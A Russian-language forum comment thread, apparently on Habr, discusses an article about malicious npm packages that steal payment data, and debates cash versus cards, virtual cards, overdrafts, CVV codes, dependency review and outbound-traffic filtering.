              И, конечно же, терминалы вы выбираете именно те, в которых знаете что софт стоит точно после code review и не содержит ничего из npm-пакетов.


              1. Germanets
                11.01.2018 21:14

                При поездке в другой город, и тем более заграницу — на карточки надеяться это ещё интереснее, чем в своём городе) Банальная ситуация — у нескольких тысяч человек заблокировали карточки по причине того, что на банкомате нашли скиммер, который поставили неизвестно когда… Соответственно все, кто за последние N месяцев банкоматом пользовались должны были ждать пару недель до выпуска новой карты, либо идти в банк и получать деньги из кассы с паспортом.
                А теперь представьте аналогичную ситуацию, только с вариантом, что вы находитесь заграницей?) Сколько головной боли получите? В другом городе, где нет отделений того же банка, хоть и есть банкоматы — тоже ситуация не лучше…
                На прошивку терминала его проблемы мне побоку — если я внёс деньги, получил чек, то как показывает практика — вопросы с не дошедшим, или дошедшим по неверному адресу платежом решаются через техподдержку в течении пары суток… Неприятно, но не страшно — зависшие несколько тысяч на конкретную покупку это не такая уж большая проблема.


                1. baldr
                  11.01.2018 23:11

                  Ну мы поняли, надо носить в кэше, причем с собой. В разных валютах, зашитых во всю одежду.
                  Почему ваш параноик не боится домушника, зашедшего в дом, но боится того что вдруг банк заблокирует карты всех своих клиентов?
                  Лично мне кажется логичной принцип среднего — сумма на 2-3 дня наличкой хранится на руках/дома, а остальное — на карте, на депозите или во вкладах.


                  1. Germanets
                    11.01.2018 23:24

                    Про домушника тут лишнее, я про хранение всех сбережений в доме ничего и близко не писал, да и техники в современном доме на куда большую сумму, чем лежит наличности…
                    Ниже в комментариях я уже примерно описал, что и как должно храниться в моём понимании, и ответ на ваш вопрос там тоже есть, причём практически совпадающий с вашей версией, за небольшими исключениями. Основная часть должна быть именно «на депозите или во вкладах», но никак не на карте. Сумма на 2-3 дня должна быть в кошельке, а на ближайшие 3-4 недели дома, на случай форс-мажора с карточками, банками, счетами и т.д…


                    1. Merkat0r
                      12.01.2018 06:40

                      Технику только наркоты воруют(шанс что ее можно будет вернуть в ближайшем ломбарде >90%) — остальные только деньги и золото\серебро ибо их не отследить практически никак.


            1. YaMishar
              11.01.2018 18:46

              В вашем параноидном мире Бирюлева нету? В переходе по башке не дают с отбором всей налички? У нас вот дают. Отделываемся потерей мелочью, потому как всё на карточках.


              1. sumanai
                11.01.2018 18:58

                По моему регулярное получение по голове вредит здоровью безотносительно потери имеющейся наличности.


                1. YaMishar
                  11.01.2018 19:04

                  Только у карточников останутся деньги на лечение, а у наличников — нет. :)


              1. Germanets
                11.01.2018 21:36

                Шансы получить по башке примерно одинаковые, что при наличии денег, что без них… Вообще все деньги что есть, я, разумеется, не таскаю с собой круглосуточно — только на выбранные покупки +1-2к на возможные доп. расходы… По голове и у нас бьют, но от того, чтобы не ударили по голове, как и от того, чтобы не сняли деньги с карты — есть свои способы защиты)


            1. DistortNeo
              11.01.2018 20:32

              То есть у вас всегда при себе имеются наличные деньги на любую покупку?
              А где вы держите накопления?


              1. Germanets
                11.01.2018 21:42

                То есть у вас всегда при себе имеются наличные деньги на любую покупку
                не на любую, а только на планируемую, если же планируемых нет — есть пара тысяч на мелкие покупки или возникшие форсмажоры…
                Накопления — поверьте, не под подушкой, не в кошельке, и даже не в кладовке, в банке с крупой) Но и доступа у человека, который утащил у меня пароль от онлайн банкинга к ним тоже нет, для их получения как минимум нужны документы и моё личное присутствие)


          1. sumanai
            11.01.2018 18:18
            +1

            снять деньги с зарплатой карточки

            У параноиков такого уровня должен быть запас налички.


            1. myrkoxx
              11.01.2018 23:05

              <sarcasm>
              Они предварительно договариваются с руководством, что получать деньги будут лично от бухгалера на руки.
              <sarcasm/>


          1. Boomburum
            11.01.2018 19:39
            +3

            Дождался своей очереди на пятом банкомате, а там скиммер )


          1. littleleshy
            12.01.2018 08:15

            Перевести с карты банка на виртуальную. Онлайн. Без комиссии.


            1. DistortNeo
              12.01.2018 10:15

              Перевести с карты банка на виртуальную. Онлайн. Без комиссии.

              А переводить вы на неё деньги будете в веб-банкинге, написанном модными-стильными-современными js-кодерами… (см. комментарий выше)


        1. littleleshy
          12.01.2018 10:20

          просто в терминале…

          интерфейс которого написан
          модными-стильными-современными кодерами…

          Круг замкнут, выхода нет.


      1. MikailBag
        11.01.2018 20:34
        +1

        Как минимум некоторые терминалы (сам видел) работают как internet explorer, в котором открыта нужная страница. То есть проблема никуда не делась


      1. jeka_odessit
        11.01.2018 22:48

        Не знаю как в России (СНГ), но в США тут есть услуга генерации № карточки которая действительна до Х даты/времени или же до первой оплаты, можно через телефонное приложение сгенерировать. Не все банки поддерживают, это минус.


    1. fedorro
      11.01.2018 15:57
      +2

      \\выделенную банковскую
      … и пополнять её, вводя данные в онлайн банке, или через банкомат, в котором тоже может быть этот или другой вредоносный код. Ну или по СМС, которые вообще лучше отключить. А потом покупаешь, на ней какой-нибудь, например, лицензионный ключ, который приходит на почту, от которой тоже надо вводить пароль, и который надо активировать в личном кабинете, у которого тоже есть пароль, и, возможно вредоносный.
      Но а если серьезно — сам, так и делаю, держа для покупок отдельную карту с небольшой суммой, пополняя её если надо оплатить что-то дорогое. А с других карт излишки перевожу на счет.


      1. eugenebb
        11.01.2018 21:40

        например Virtual Account Numbers

        можно задавать лимит по времени и сумме, плюс ограничение на то кто пытается снять.
        т.е. один и тот же продавец может снимать с этой карты несколько раз, а другим будет отлуп.

        Т.е. можно использовать для recurring платежей.


    1. DummyBear
      11.01.2018 15:58
      +1

      Вы чтобы её пополнить ногами в банк ходите или всё же вводите логины-пароли-номера на каком-то сайте?


      1. zagayevskiy
        11.01.2018 19:32

        Я в мобильном приложении ввожу, например. И то не номер карты, а отпечаток пальца. Ещё вопросы?


        1. TheShock
          12.01.2018 01:19

          Уверены, что в мобильном приложении нету этих проблем? Да еще и отпечаток пальца, который не поменять


          1. zagayevskiy
            12.01.2018 12:42
            +1

            Думаю, что организовать такие проблемы в мобильном приложении несколько сложнее, чем в этом вашем джаваскрипте. Про отпечаток пальца что-то не понял — в каком смысле не поменять?


            1. sumanai
              12.01.2018 15:30
              +2

              Думаю, что организовать такие проблемы в мобильном приложении несколько сложнее, чем в этом вашем джаваскрипте.

              Притом что многие приложения на телефоне являются тем же сайтом со своим браузером. И сторонние компоненты используют не только в JS.
              Про отпечаток пальца что-то не понял — в каком смысле не поменять?

              В прямом- после его утечки вы ничего не сможете с этим сделать.


              1. zagayevskiy
                12.01.2018 16:05

                Я могу отличить нативное приложение от вебвью, спасибо. Я не говорил, что сторонние компоненты в мобильных приложениях не используются — я всего лишь говорю, что организовать такие проблемы в мобильном сильно сложнее.


                Про отпечаток ересь какая-то. Какая ещё утечка, его хардварно поддерживают устройства. Приложение до него вообще доступа не имеет. Учите матчасть.


                1. baldr
                  12.01.2018 16:21

                  Достаточно украсть ваш мобильник, а уж отпечатки ваши будут ровным слоем по нему везде. Делается фотография, а потом силиконовая форма отливается с формой отпечатка и все. Гуглить лень, но авторизация по отпечатку пальца скомпрометирована уже несколько лет назад. Причем разными способами.


                  1. zagayevskiy
                    12.01.2018 17:00
                    +1

                    Бред. Разговор идёт про широконаправленные атаки, "бомбят по площадям". Про то, что сторонняя компонента встраивается в приложение и крадёт данные.


                    Никто не говорил про индивидуальные атаки на человека — так-то сломать можно всё, что угодно.


                    1. baldr
                      12.01.2018 17:08

                      Да, мой комментарий был, действительно, именно про отпечаток как механизма авторизации. Я думал что оригинальный комментарий тоже.
                      Массово да — пока смысла не имеет, наверное.


                1. sumanai
                  12.01.2018 17:30

                  Какая ещё утечка, его хардварно поддерживают устройства.

                  Иногда это хардварно выдаёт снимок отпечатка любой программе, стоит только попросить. А так я имел в виду распознание по фото и прочие методы.


        1. DummyBear
          12.01.2018 07:16

          Есть. Проводили ли вы аудит этого мобильного приложения? Или же даже не видели его исходников? Читали ли вы про успешную подделку отпечатка пальца по фотографии?


          1. zagayevskiy
            12.01.2018 12:36

            Для этого уже нужен как минимум физический доступ к устройству.


    1. Alexeyslav
      11.01.2018 16:07

      Есть ещё такое понятие как технический овердрафт. Карта, даже будучи 100% не кредитной в определённых случаях МОЖЕТ все-таки уйти в минус. Потом всеравно будете вынуждены этот минус погасить.


      1. Germanets
        11.01.2018 16:49

        А можете подробнее объяснить, какие это случаи, и что нужно сделать, чтобы гарантированно в них не попасть, или хотя бы вероятность их наступления уменьшить?


        1. sumanai
          11.01.2018 17:02
          +1

          гарантированно в них не попасть

          Не иметь карточек вообще.


        1. RidgeA
          11.01.2018 17:10

          Ну например вы покупали что-то на сайте с карточки в нац валюте в долларах и должны заплатить 100 долларов. По схеме расчетов сначала сумма блокируется по курсу на момент блокировки. А спустя несколько дней — списывается, но уже по курсу на момент списания. Если курс списания выше, чем курс блокировки — спишется дополнительная сумма с карты, если денег не будет — возникнет технический овердрафт. К.т. всякие банковские комисии за обслуживание (особенно связаные с расчетами между банками — сняли в банкомате чужого банка, например) в не особо клиенто-ориентированных банках могут уходить в технический овердрафт…

          Правда вариантов, когда технический овердрафт может возникнуть на существенную сумму я придумать не могу, кроме случаев двойного списания суммы, но такие варианты обычно решаются оспариванием транзакции.


          1. DistortNeo
            11.01.2018 17:53

            А ещё через оффлайн-транзакции можно уйти в минус.
            Это когда оплатил в магазине сейчас, баланс на карте не изменился, смс не пришла, а реально списание произошло через 1-2 дня.


            1. elfs_shadow
              11.01.2018 20:10

              Более того, забавные ситуации бывают и в онлайне. Я как-то получил минус, который не вкладывался в возможную разницу курсов в несколько десятков раз. Оказалось, гугл не успел подтвердить транзакцию в течении 8 дней и банк вернул деньги (снял блокировку).
              Забавно, но подтверждение пришло в скором времени после очередного использования карты и суппорт банка минут 15 разбирался почему вдруг образовался овердрафт.


          1. impwx
            11.01.2018 18:16

            Был случай, когда из-за двойного списания при оплате путёвки на карте возник технический овердрафт больше 100к рублей. Банк хоть и пообещал «разобраться», но штраф за перерасход все равно начислил. Спустя выходные деньги «пришли» назад, но уже по другому курсу, из-за чего потерялась еще часть.


            1. LexB
              12.01.2018 12:12
              +3

              Банк оставил вас наедине с проблемой? Если можно огласите, пожалуйста название банка.


          1. Germanets
            11.01.2018 18:20

            По схеме расчетов сначала сумма блокируется по курсу на момент блокировки.
            — а кто за эту схему расчётов ответственный, банк? конкретный интернет-магазин? или это общепринятая практика?
            В онлайне вообще не сталкивался с ситуациями, когда после расчётов деньги на счету всё ещё оставались…


            1. RidgeA
              11.01.2018 18:27

              Процессинговая система (Visa, MasterCard, ...). Я сейчас быстро какое-то подтверждение не смог найти, но уверен что в при достаточном приложении сил в общих чертах эту схему можно найти.
              Заблокированная сумма обычно отображается именно как списанная. Некоторые банки в выписках могут указывать дату операции (блокировки) и списания денег — она может отличаться.


        1. ProFfeSsoRr
          11.01.2018 21:43

          Да банально: получил зарплату, снял всё, а потом списались деньги за годовое обслуживание — вот и минус на «дебетовке». Это личный мой случай, потом еще из банка звонили и спрашивали, откуда у меня минус, пришлось мне им объяснять откуда. Извинились в конце разговора :)


    1. ainu
      11.01.2018 16:13

      Кроме номера карты, конечно, другие данные тоже воровать можно? Пароли? Номер телефона?


    1. azShoo
      11.01.2018 16:15
      +3

      Затем, что контролем кода занимаются одни люди, а оформлением на себя дополнительной карты — совсем другие.
      И когда с вашего сайта радостно начнет утекать sensitive data пользователей, ответ «Да завели бы себе отдельную карту и всё» их вряд ли устроит.
      Не говоря уж о том, что платежные данные — не единственная ценная информация, которую оставляют пользователи на сайтах.
      Это точно так же могут быть реквизиты аккаунтов, сканы документов, приватный контент, whatever.
      И в итоге попытка отказаться от использования всего этого в интернете сводит всё к п.1 из статьи выше.

      upd: Я буду обновлять ветку комментов каждый раз, перед там как что-то постить.


    1. ctacka
      11.01.2018 17:55

      Потому что это никак не зафорсированно. И на n пользоватей с выделенной картой будет k пользователей с зарплатной. :/
      Эта статья в большей стетепни для разработчиков. Для пользователей достаточно понимать, что ничто не мешает какому-нибудь интернет-магазину ложечек просто переть ваши данные, без всех этих хитростей.


    1. lostmsu
      12.01.2018 00:47

      А с паролями что?


  1. OlegShishkin
    11.01.2018 15:46

    Поможет ли блокировка исходящего трафика по всем направлениям, кроме разрешённых? Вроде бы тогда вирус будет работать, но не сможет отправить украденные данные своему хозяину, да?


    1. gnaeus
      11.01.2018 15:48

    1. Alexeyslav
      11.01.2018 16:10

      Отправит на CDN который используется тем же сайтом для работы и является разрешённым…


      1. LynXzp
        13.01.2018 23:45

        Сначала я засомневался (у меня все по умолчанию запрещено), посмотрел в мои разрешения: alicdn.com, dxcdn.com, и т.п. И как он туда отправит? Посмотрел что на ebay… ebaydesc.com, ebaydesc.com, ebayrtm.com, ebaystatic.com, и подумал что если бы кто-то зарегистрировал ebaycdn.com то я бы и его разрешил пачкой тут же.

        Заголовок спойлера
        image
        А я думал что я параноик.


  1. mitrym
    11.01.2018 15:52
    -6

    )) Просто — не говори машине, что у тебя есть кредитка. Только кэш, сорян чувак. Комп — для фильмов книг и игр.


    1. DummyBear
      11.01.2018 16:01
      +5

      Вы точно в 2018 году живёте?


    1. SicYar
      11.01.2018 16:19
      +2

      А игры, фильмы и книги на ПК покупать в сетевом магазине?


      1. alex_zzzz
        11.01.2018 16:58

        Виртуальная карта от Qiwi или чего-нибудь подобного. Невозможно потерять денег больше, чем было физически запихано кэша в терминал.


        1. AllexIn
          11.01.2018 17:58

          А откуда вы деньги возьмете?
          Снимете в банкомате? :)


          1. alex_zzzz
            12.01.2018 14:45

            Из тумбочки. В тумбочку тоже я кладу.


            1. AllexIn
              12.01.2018 14:48

              Завидую тем, у кого есть неиссякаемая тумбочка с деньгами.
              Остальные вынуждены зарабатывать, а работодатель почему-то не хочет иметь физическую кассы и предпочитает зарплатные карты.


              1. alex_zzzz
                12.01.2018 15:01

                А работник предпочитает то, что предпочитает.


                Согласно пункту 1 статьи 421 Гражданского кодекса РФ, граждане и юридические лица свободны в заключении договора. Понуждение к заключению договора не допускается, за исключением случаев, когда обязанность заключить договор предусмотрена Гражданским кодексом РФ, законом или добровольно принятым обязательством. Следовательно, работодатель не может обязать работника заключить договор банковского счета для перечисления заработной платы.

                Источник: http://www.tkodeksrf.ru/ch-3/rzd-6/gl-21/st-136-tk-rf


                1. AllexIn
                  12.01.2018 15:02

                  Конечно. Он может просто не взять вас на работу.


                  1. alex_zzzz
                    12.01.2018 15:09
                    -3

                    Идёт в жопу, значит. Может, он потом захочет зарплату вообще не платить. По ТК обязан, но вот захочет и всё.


                    1. AllexIn
                      12.01.2018 15:11
                      +1

                      Классно что вы можете выбирать. Большинство не может. Не может не только выбирать, но даже тупо заикнуться о своих правах.
                      Вы попадаете в 0.001% тех, кому указанная здесь угроза не угроза.
                      Классно, таким людям я тоже завидую, наравне с теми, у кого есть тумбочка.


                      1. alex_zzzz
                        12.01.2018 15:25
                        -2

                        Сказал же про тумбочку, что в неё тоже я кладу. Она не сама варит.


                        Большинство не может. Не может не только выбирать, но даже тупо заикнуться о своих правах.

                        Рабовладельческий строй какой-то.


                        1. AllexIn
                          12.01.2018 16:02

                          Рабовладельческая психология, а не строй.
                          Если готов отстаивать свои права — это как правило не становится проблемой. Но люди в основе своей так боятся потерять те права что у них есть(работать 12 часов за серую зарплату, например), что не смеют заикаться на счет остальных.


                      1. sumanai
                        12.01.2018 15:34

                        Не может не только выбирать, но даже тупо заикнуться о своих правах.

                        Рабский менталитет в себе нужно уничтожать.
                        Классно, таким людям я тоже завидую

                        Уборщик с з/п в 20к, при переводе бюдетников на МИР пошёл качать права и начал получать з/п на банковский счёт, кассу тоже предлагали, но со счёта удобнее перекидывать на нормальную карточку. Если вы ещё завидуете, готов с вами поменяться.


                        1. Areso
                          12.01.2018 21:30

                          Мы с вами уже общались, так вот, когда я был инженер-программистом в МУПе, мне сказали, или карточка (причем вполне определенного банка, что вообще ни в какие ворота), или пшел вон прямо сейчас, и нам в общем-то все равно, что там произойдет с тем барахлом, что ты поддерживаешь в рабочем состоянии, когда я намекнул, что я единственный, кто остался и хоть немного разбирается в этом барахле.


                          1. sumanai
                            12.01.2018 21:48

                            Мы с вами уже общались

                            Да я много с кем тут общался, как впрочем и вы, что при количестве комментариев в 1к+ и не удивительно.
                            и нам в общем-то все равно, что там произойдет с тем барахлом

                            Видимо мне место такое хорошее попалось.


                            1. Areso
                              12.01.2018 21:50

                              Руководство чуть более адекватное или не такое купленное на деньги банка.


                              1. sumanai
                                12.01.2018 21:58

                                Сейчас пораскинул мозгами, и пришёл к выводу, что скорее всего повлияла численность рабочих- у меня это 1800 сотрудников, где потеря отката на одного значит меньше, чем потенциальный геморрой от моего хождения по инстанциям.


                    1. Psychosynthesis
                      12.01.2018 21:27

                      Не понимаю за что заминусовали человека, вроде бы всё здраво расписывает.

                      Кто-нибудь может объяснить?


      1. qwertyqwerty
        12.01.2018 08:15

        Игры, фильмы, книги бесплатные.


  1. lxsmkv
    11.01.2018 16:08
    +1

    Кризис, как правило, предвещает начало новой эры.


    1. Alexeyslav
      11.01.2018 16:11
      -1

      Каменного топора и палки-копалки…


      1. Germanets
        11.01.2018 16:55

        Боюсь, что уже сейчас есть негосударственные киберпреступные группы, способные связкой известных им эксплойтов или захваченного ПО сделать своеобразный блэкаут интернета масштаба страны, если не мира… Ситуация с медком была одним из подобных страшных звоночков…


  1. vsb
    11.01.2018 16:18

    В типичном Java-проекте сотни .jar-зависимостей. Во многих .jar-файлах тысячи и десятки тысяч .class-файлов. Типичный Java-проект скачивает все зависимости уже в скомпилированном виде с maven central, на которые они, насколько я понимаю, заливаются тоже в скомпилированном виде (там обычно рядом лежат исходники, но, как и в статье, никто их не компилирует, это только для удобства отладки). На самом деле это странная ситуация, если вдуматься. Ведь ничего принципиально не мешает тому же Central-у требовать предоставления исходников и компилировать их самому (ну понятно, что это совсем другая нагрузка, но всё же). Хотя бы исходники и бинарники будут одинаковые.

    А вообще сложно придумать хороший способ решения этой проблемы. Разве что сеть ревьюеров, что-то вроде web of trust, когда человек проверяет очередной релиз библиотеки, компилирует его самостоятельно (в Java при компиляции одним и тем же компилятором получается один и тот же байткод) и подписывает релиз своим ключом. Но кто за это будет платить… Review какого-нибудь Spring Framework 5.0 это та ещё работёнка.


    1. poxvuibr
      11.01.2018 16:29

      Типичный Java-проект скачивает все зависимости уже в скомпилированном виде с maven central

      Ну нет, в типичном проекте средних размеров уже есть собственный менеджер репозиториев.


      1. vsb
        11.01.2018 16:30

        Который кеширует всё с maven central? Сути это не меняет.


        1. poxvuibr
          11.01.2018 16:34

          Который кеширует всё с maven central?

          Не факт, зависит от степени параноидальности отдела безопасности.


          1. justboris
            11.01.2018 18:32

            Аналогичное справедливо и для NPM. Отдел безопасности может и node-модули проверять.


            Или node-модули проверяют специально обученные хипстеры вместо обычных безопасников?


            1. staticlab
              12.01.2018 08:38

              Он-то может. Но у вас есть гарантия, что это реально делается, причём правильно, на тех ресурсах, которыми вы пользуетесь?


              1. justboris
                12.01.2018 11:08
                +1

                Гарантии примерно такие же, как и с другими платформами, типа Java, например.


                К чему разводить лишнюю паранойю конкретно про node_modules?


                1. staticlab
                  12.01.2018 11:32

                  Я, конечно, могу ошибаться, но в Java для вызова внешнего сервиса придётся либо явно засветить в байткоде обращение к методу того или иного сетевого класса, либо обратиться к нему через Reflection. Оба случая относительно просто детектятся автоматическим анализатором. Кроме того, экосистема Java существует давно, и для неё более-менее вменяемые анализаторы созданы.


                  А вот в случае с JS и экосистемой NPM всё сложнее: можно обфусцировать код так, что даже анализатор не определит что к чему без явного выполнения кода. Кроме того, анализаторы могут быть довольно устаревшими, ведь экосистема развивается быстро, а СБ привыкло доверять им.


                  А так-то да, я очень сомневаюсь, что в большинстве крупных "энтерпрайзных" компаний с СБ реально проводится глубокий анализ всех зависимостей, а не тупо проксирование глобального репозитория.


                  1. justboris
                    12.01.2018 11:39
                    +1

                    Я периодически поглядываю, что лежит у меня в node_modules, и до этой статьи, и после, но никогда обфусцированного кода не видел.


                    Если бы встретил, моя логика была бы простой: код опесорсный, скрывать ему нечего, ну его нафиг, лучше выберу другой модуль с той же функциональностью, чем распутывать зашифрованные куски.


                    1. staticlab
                      12.01.2018 11:58

                      Ну вот, например, react 16 для дева тянет несжатый ./cjs/react.development.js, а для прода минифицированный ./cjs/react.production.js. Само собой, react-dom 16 тоже. Впрочем, это довольно редкая практика, и большинство пакетов действительно предлагают для импорта несжатый код.


                      1. justboris
                        12.01.2018 12:30

                        Обфускация != сжатие.


                        Обфусцированный код разбирают, например, в этой статье. Это не так просто. Если ваши зависимости содержат такой код, то лучше выкинуть эти зависимости, честным разработчикам скрывать нечего.


                        Сжатый код, как react.production.js разжимается обратно очень легко. Возвращаем форматирование и получаем почти такой же читаемый исходник.


    1. QtRoS
      12.01.2018 00:11

      Разве что сеть ревьюеров, что-то вроде web of trust
      Б… бл… блокчейн?


      1. baldr
        12.01.2018 00:19

        Это пять просто… Комментарий дня.


  1. System12
    11.01.2018 16:19

    Хороший рассказ про агента 007 виртуального мира.


  1. Olleandra
    11.01.2018 16:20

    Интересная статья. Спасибо.
    Вероятно, мой вопрос покажется глупым сообществу, но если такая уязвимость возможна с React, то будет ли она действовать, если на сайте React не используется, но применяются другие модули с GitHub?
    Например, у меня есть Framework Yii2 последней на сегодняшний день версии. На нём установлены модули с GitHub, которые позволяют красиво добавлять гиперссылки в текст статьи из админки и выводить красивые галереи пользователям.
    В глобальном шаблоне layouts/main.php клиентской части есть форма, которая становится видимой при совершении пользователем каких-то действий. Других форм клиентская часть не предлагает. Вход же в админскую осуществляется через стандартную форму Yii2, отображаемую на отдельной странице. Единственная применяемая JS-библиотека — jQuery.
    Может ли данная уязвимость передать данные клиентской формы и формы входа администратора при таких условиях?
    Было бы интересно узнать. Посему обрадуюсь любому внятному ответу.


    1. valkiriy
      11.01.2018 16:29

      В статье есть отличная цитата на эту тему:

      Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.


  1. megagon
    11.01.2018 16:20
    +1

    небезызвестный букинг.ком при оплате картой отдает отелям полную инфо карты (вместе с cvc), так что о какой безопасности может идти речь


    1. zamsky
      11.01.2018 17:02

      Вы уверены? Они утверждают, что присылают данные виртуальной карты partnerhelp.booking.com/hc/en-gb/articles/213317965-Receiving-online-payments


    1. zxxc
      11.01.2018 17:22

      booking.com PCI compliant
      но еще это не совсем так с его партнерами
      www.pci-proxy.com/tag/pci-booking-com
      тем не менее это временные номера карт которые уничтожаются
      более интересная информация есть о безопасности в области заказа билетов на самолеты через GDS


  1. TrigovorTosh
    11.01.2018 16:30
    +2

    Сразу вспомнилось сие замечательное произведение:
    https://pastebin.com/raw/2EtY76Nn


  1. GarudaJI
    11.01.2018 16:34
    -1

    Кстати, используя этот метод, я взломал аккаунт Трампа в Twitter и начал постить всякую ерунду. Насколько мне известно, до сих пор этого никто не заметил.

    А там есть что-то еще кроме ерунды?


    1. amarao
      11.01.2018 17:20
      +1

      Что и доказывает, что взлом был успешным. Это такая сложная шутка.


  1. cerberus13
    11.01.2018 17:02

    Пиши всё сам, никакого opensource, наступай на свои и чужие грабли, может быть тебя не «сломают» :-)


    1. Germanets
      11.01.2018 17:07

      Угу, наиболее вероятный вариант при этом, что «сломать» будет нечего, так как продукт либо не появится вовсе, либо намного позже, чем он был нужен…


    1. spiritms
      11.01.2018 18:39

      Не ищи чужие дыры в безопасности — создавай свои!


    1. bro-dev
      12.01.2018 07:47

      ЯП и компилятор тоже состоит из зависимостей, но даже если ты будешь писать на ассемблере потом окажется что дыра есть в самом процессоре.


      1. Armleo
        12.01.2018 10:40

        Поэтому свой процессор, можно сделать.


        1. sumanai
          12.01.2018 15:36
          +1

          Боюь, мелом на доске сложный процессор не нарисуешь.


  1. KarryPro
    11.01.2018 17:05
    +1

    Имея зловредные намерения и острый ум, мне кажется можно обойти любые ограничения.


  1. cjbars
    11.01.2018 17:08
    +1

    Если честно, статья — шедевр! Читаешь как детектив или фантастику, в голове прям похождения Стальной Крысы разыгрываются.

    Супер! Спасибо!

    Но в уголочках начинает чуть чуть скрести паранойя. :-)


  1. side2k
    11.01.2018 17:30
    +1

    Спасибо, хорошая заметка.
    Грустно лишь то, что такие заметки становятся отличным вдохновляющим руководством для тех, кому своего ума на такие комбинации не хватило.


    1. sumanai
      11.01.2018 17:33

      Сомневаюсь, что есть люди, которые не могут додуматься до такой схемы, но смогут написать вменяемый компонент для менеджера пакетов и протолкнуть его использование в достаточно популярные пакеты.


      1. side2k
        11.01.2018 17:39

        Это легко могут оказаться разработчики, попавшие в коллектив разработки уже существующих пакетов, которые по цепочке зависимостей попадают много куда.
        Далеко не везде крайне вдумчивый code review.


  1. overmes
    11.01.2018 17:35

    а еще есть плагины для браузера, там вообще все что угодно можно делать


    1. sumanai
      11.01.2018 18:20

      Сейчас дополнения для браузеров запрашивать разрешения для доступа на страницы, и, теоретически, запрос от дополнения типа «блокнот в окошке» на доступ ко всем сайтам должен насторожить пользователя.


      1. Ronkosa
        12.01.2018 08:15

        насторожить, но не остановить. Лично наблюдал как девушка закрывала любые всплывающие окна без прочтения, даже после долгой лекции о безопасности


        1. sumanai
          12.01.2018 15:37

          Поэтому и написал «теоретически». На практике всё так, как вы описали.


    1. lxsmkv
      11.01.2018 18:57

      была статья на эту тему от Яндекса: «Эволюция вредоносных расширений» habrahabr.ru/company/yandex/blog/341382


  1. kraso4niy
    11.01.2018 17:50

    Видимо все что мог сделать автор с этими украдеными данными, это прикинуться на время трампом в твиттере))


  1. Viacheslav01
    11.01.2018 18:11

    Я сразу вспомнил Сбербанк Онлайн с кучей левых скриптов на страницах онлайн банка и заявления их представителей, что это не несет никакой угрозы клиентам!


    1. DaneSoul
      11.01.2018 23:14

      Подход к безопасности сбербанка вообще фантастичен — нельзя запретить для карты оплату в интернет, вот нет такого варианта в принципе.
      И вообще, вот очень бы хотелось посмотреть на того, кто додумался писать СVV код на самой карте и сделал это стандартом (хотя это уже конечно не к Сберу претензии)…


      1. DistortNeo
        11.01.2018 23:34

        Вы удивитесь, если узнаете, что в США до недавнего времени дебетовые карты были мало распространены, а были только кредитки с оффлайн-оплатой и практически нулевой защитой. Картой можно было расплатиться вообще где угодно: не нужно было ни электричество, ни интернет — только импринтер (девайс, делающий оттиск карты — собственно поэтому буквы на картах выдавлены), да даже можно было просто номер карты в тетрадочку переписать и всё. И узнать текущий баланс карты было нельзя — банк просто раз в месяц выставлял счёт со списком операций.


        1. DaneSoul
          11.01.2018 23:40
          +2

          Про импринтеры слышал, но у нас они насколько же редкие как и оплата выписыванием чека — и то и другое видел только в зарубежных фильмах.
          Опять таки, PIN додумались не писать на самой карте, почему нельзя CVV было бы также выдавать в конверте или вводить с терминала при получении карты — это же самоочевидно, что секретный код не должен быть виден на самой карте!
          А на недавно полученной визе сберовской он не просто напечатан, а еще и вдавлен, с трудом зачистил лезвием.


          1. DistortNeo
            11.01.2018 23:44

            Про импринтеры слышал, но у нас они насколько же редкие как и оплата выписыванием чека — и то и другое видел только в зарубежных фильмах.

            У нас их не было. А вот при поездках за рубеж один раз оплачивал именно так (было это в 2009 году).


            Опять таки, PIN додумались не писать на самой карте, почему нельзя CVV было бы также выдавать в конверте или вводить с терминала при получении карты

            Зависит от политики банка и платёжной системы. Многим магазинам CVV вообще не нужен, поэтому отсутствие CVV на самой карте не защищит от вывода с неё денен.


          1. baldr
            12.01.2018 00:03

            с трудом зачистил лезвием.

            Вот тут в соседней теме (3 года назад, правда), есть такие комментарии:

            Disclaimer. Юридически карта без CVV может быть признана недействительной. Практически в РФ и Украине это вряд ли произойдет, но в ЕС и США возможно.

            Удалить cvv/cvc — код с карты нельзя, так как он является необходимым реквизитом банковской карты, согласно правилам платежных систем. Формально, карта, на которой нет хотя бы одного обязательного реквизита, недействительна. То есть, теоретически, карту с удаленным cvv/cvc — кодом могут отказаться принять к оплате в терминалах торгово-сервисных предприятий.


            Так что еще и удалять нельзя :(


            1. DaneSoul
              12.01.2018 00:28

              Мне вообще данная карта нужна только для банкомата, иногда приходят деньги (потому и Сбер, что удобно отправителям), которые надо снимать, и я с удовольствием бы запретил к ней любой другой доступ…


            1. pansa
              12.01.2018 01:47

              paypass позволяет даже не доставать карту на свет. А *pay позволяют даже забывать карту дома.
              Однако, это имеет место быть — в магазине «КЦ Кей» отказались у меня брать карту, на которой последние цифры были залеплены наклейкой (снимал копию для визы, забыл оторвать). Снял наклейку — взяли =)


              1. h0rr0rr_drag0n
                12.01.2018 11:38

                Однако, это имеет место быть — в магазине «КЦ Кей» отказались у меня брать карту, на которой последние цифры были залеплены наклейкой (снимал копию для визы, забыл оторвать). Снял наклейку — взяли =)

                Аналогичная история в таком же магазине была и со мной.
                В «Юлмарте» как-то раз даже сверяли подпись на чеке и на карте.
                В остальных местах всем пофигу и на изоленту на месте CVV/CVC, и тем более на подпись.


          1. staspavlov92
            12.01.2018 13:15
            +1

            Не так давно столкнулся с тем, что для платежей по сути не нужен и CVV. Был крайне удивлен, когда в форме оплаты попросили только номер карты, срок дейтвия и имя держателя и тут же списали деньги без CVV и SMS.
            Как я понял после прочтения пары форумов, в таком случае вроде как ответственность на себя берет магазин и можно оспорить транзакцию. Но, судя по комментариям там же, часто эти оспаривания крайне затягиваются и переходят в перекидывание ответственности между магазином, банком и процессинговой системой(


            1. vlreshet
              12.01.2018 13:53
              -2

              Это, вроде, в зависимости от того разрешает ли банк такой финт ушами. Если банк поддерживает так называемый 3DSecure, и он активен, то так не получится


              1. QDeathNick
                15.01.2018 12:40

                Ни в одном банке пока не видел, чтобы не было возможности снять деньги просто так, без СМС, если знаете такой, буду рад попользоваться.


                1. vlreshet
                  15.01.2018 12:46

                  Знаю как минимум один такой банк, только вам он не подойдёт. А так — в интернете регулярно плачУ, на разных ресурсах, и никогда ещё не было такого чтобы сняло деньги без смс кода. Даже после привязки карты на Alipay — у них был мой код, cvv, дата (повторно вводить их не надо было), а без смс всё равно снять не смогли.

